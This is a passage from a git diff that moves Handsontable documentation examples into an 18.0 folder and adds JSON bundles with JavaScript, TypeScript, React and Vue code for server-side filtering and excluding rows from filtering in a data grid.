\"../index.ts\";"},"docsPath":"guides/columns/column-filter/javascript/exampleExcludeRowsFromFiltering.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleExcludeRowsFromFiltering","exampleTitle":"Exclude rows from filtering","docPermalink":"/column-filter","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleFilterBasicDemo.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleFilterBasicDemo.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleFilterBasicDemo.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleFilterBasicDemo.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleFilterBasicDemo.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleFilterBasicDemo.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleFilterBasicDemo.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleFilterBasicDemo.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleFilterDifferentTypes.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleFilterDifferentTypes.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleFilterDifferentTypes.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleFilterDifferentTypes.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleFilterDifferentTypes.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleFilterDifferentTypes.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleFilterDifferentTypes.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleFilterDifferentTypes.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleFilterOnInitialization.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleFilterOnInitialization.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleFilterOnInitialization.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleFilterOnInitialization.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleFilterOnInitialization.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleFilterOnInitialization.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleFilterOnInitialization.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleFilterOnInitialization.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleFilterThroughAPI1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleFilterThroughAPI1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleFilterThroughAPI1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleFilterThroughAPI1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleFilterThroughAPI1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleFilterThroughAPI1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleFilterThroughAPI1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleFilterThroughAPI1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleQuickFilter.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleQuickFilter.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleQuickFilter.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleQuickFilter.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleQuickFilter.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleQuickFilter.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleQuickFilter.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleQuickFilter.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleSearchMode.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleSearchMode.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleSearchMode.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleSearchMode.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleSearchMode.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleSearchMode.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleSearchMode.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleSearchMode.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleServerSideFilter.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleServerSideFilter.js.json new file mode 100644 index 00000000..06a3bd67 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleServerSideFilter.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column filter · Server-side filtering · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleServerSideFilter');\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n height: 'auto',\n // `beforeFilter()` is a Handsontable hook\n // it's fired after Handsontable gathers information about the filters, but before the filters are applied\n beforeFilter(conditionsStack) {\n // gather information about the filters\n console.log(`The amount of filters: ${conditionsStack.length}`);\n console.log(`The last changed column index: ${conditionsStack[0].column}`);\n console.log(`The amount of filters added to this column: ${conditionsStack[0].conditions.length}`);\n // the list of filter conditions\n console.log(conditionsStack[0].conditions);\n\n // return `false` to disable filtering on the client side\n return false;\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-filter/javascript/exampleServerSideFilter.js","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleServerSideFilter","exampleTitle":"Server-side filtering","docPermalink":"/column-filter","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleServerSideFilter.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleServerSideFilter.ts.json new file mode 100644 index 00000000..193addbe --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleServerSideFilter.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column filter · Server-side filtering · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleServerSideFilter')!;\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n height: 'auto',\n // `beforeFilter()` is a Handsontable hook\n // it's fired after Handsontable gathers information about the filters, but before the filters are applied\n beforeFilter(conditionsStack) {\n // gather information about the filters\n console.log(`The amount of filters: ${conditionsStack.length}`);\n console.log(`The last changed column index: ${conditionsStack[0]!.column}`);\n console.log(`The amount of filters added to this column: ${conditionsStack[0]!.conditions.length}`);\n // the list of filter conditions\n console.log(conditionsStack[0]!.conditions);\n\n // return `false` to disable filtering on the client side\n return false;\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-filter/javascript/exampleServerSideFilter.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleServerSideFilter","exampleTitle":"Server-side filtering","docPermalink":"/column-filter","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleShowFilterItemsOnly.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleShowFilterItemsOnly.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleShowFilterItemsOnly.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleShowFilterItemsOnly.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleShowFilterItemsOnly.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleShowFilterItemsOnly.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__javascript__exampleShowFilterItemsOnly.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__javascript__exampleShowFilterItemsOnly.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleCustomFilterButton.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleCustomFilterButton.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleCustomFilterButton.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleCustomFilterButton.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleCustomFilterButton2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleCustomFilterButton2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleCustomFilterButton2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleCustomFilterButton2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleEnableFilterInColumns.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleEnableFilterInColumns.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleEnableFilterInColumns.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleEnableFilterInColumns.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleExcludeRowsFromFiltering.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleExcludeRowsFromFiltering.tsx.json new file mode 100644 index 00000000..1d6d55ea --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleExcludeRowsFromFiltering.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column filter · Exclude rows from filtering · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleExcludeRowsFromFiltering\"));\nroot.render(React.createElement(App));","/src/App.tsx":"// you need `useRef` to call Handsontable's instance methods\nimport { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotTableComponentRef = useRef(null);\n const exclude = () => {\n const hotInstance = hotTableComponentRef.current?.hotInstance;\n // @ts-ignore\n const filtersRowsMap = hotInstance?.getPlugin('filters').filtersRowsMap;\n\n filtersRowsMap.setValueAtIndex(0, false);\n filtersRowsMap.setValueAtIndex(filtersRowsMap.indexedValues.length - 1, false);\n };\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-filter/react/exampleExcludeRowsFromFiltering.tsx","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleExcludeRowsFromFiltering","exampleTitle":"Exclude rows from filtering","docPermalink":"/column-filter","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleFilterBasicDemo.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleFilterBasicDemo.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleFilterBasicDemo.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleFilterBasicDemo.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleFilterDifferentTypes.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleFilterDifferentTypes.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleFilterDifferentTypes.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleFilterDifferentTypes.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleFilterOnInitialization.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleFilterOnInitialization.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleFilterOnInitialization.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleFilterOnInitialization.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleFilterThroughAPI1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleFilterThroughAPI1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleFilterThroughAPI1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleFilterThroughAPI1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleQuickFilter.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleQuickFilter.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleQuickFilter.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleQuickFilter.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleSearchMode.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleSearchMode.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleSearchMode.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleSearchMode.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleServerSideFilter.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleServerSideFilter.tsx.json new file mode 100644 index 00000000..dd66f88a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleServerSideFilter.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column filter · Server-side filtering · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleServerSideFilter\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-filter/react/exampleServerSideFilter.tsx","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleServerSideFilter","exampleTitle":"Server-side filtering","docPermalink":"/column-filter","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleShowFilterItemsOnly.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleShowFilterItemsOnly.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__react__exampleShowFilterItemsOnly.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__react__exampleShowFilterItemsOnly.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleCustomFilterButton.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleCustomFilterButton.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleCustomFilterButton.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleCustomFilterButton.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleCustomFilterButton2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleCustomFilterButton2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleCustomFilterButton2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleCustomFilterButton2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleEnableFilterInColumns.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleEnableFilterInColumns.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleEnableFilterInColumns.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleEnableFilterInColumns.vue.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleExcludeRowsFromFiltering.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleExcludeRowsFromFiltering.vue.json new file mode 100644 index 00000000..791f9b10 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleExcludeRowsFromFiltering.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column filter · Exclude rows from filtering · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleExcludeRowsFromFiltering\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-filter/vue/exampleExcludeRowsFromFiltering.vue","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleExcludeRowsFromFiltering","exampleTitle":"Exclude rows from filtering","docPermalink":"/column-filter","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleFilterBasicDemo.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleFilterBasicDemo.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleFilterBasicDemo.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleFilterBasicDemo.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleFilterDifferentTypes.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleFilterDifferentTypes.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleFilterDifferentTypes.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleFilterDifferentTypes.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleFilterOnInitialization.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleFilterOnInitialization.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleFilterOnInitialization.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleFilterOnInitialization.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleFilterThroughAPI1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-filter__vue__exampleFilterThroughAPI1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-filter__vue__exampleFilterThroughAPI1.vue.json rename to 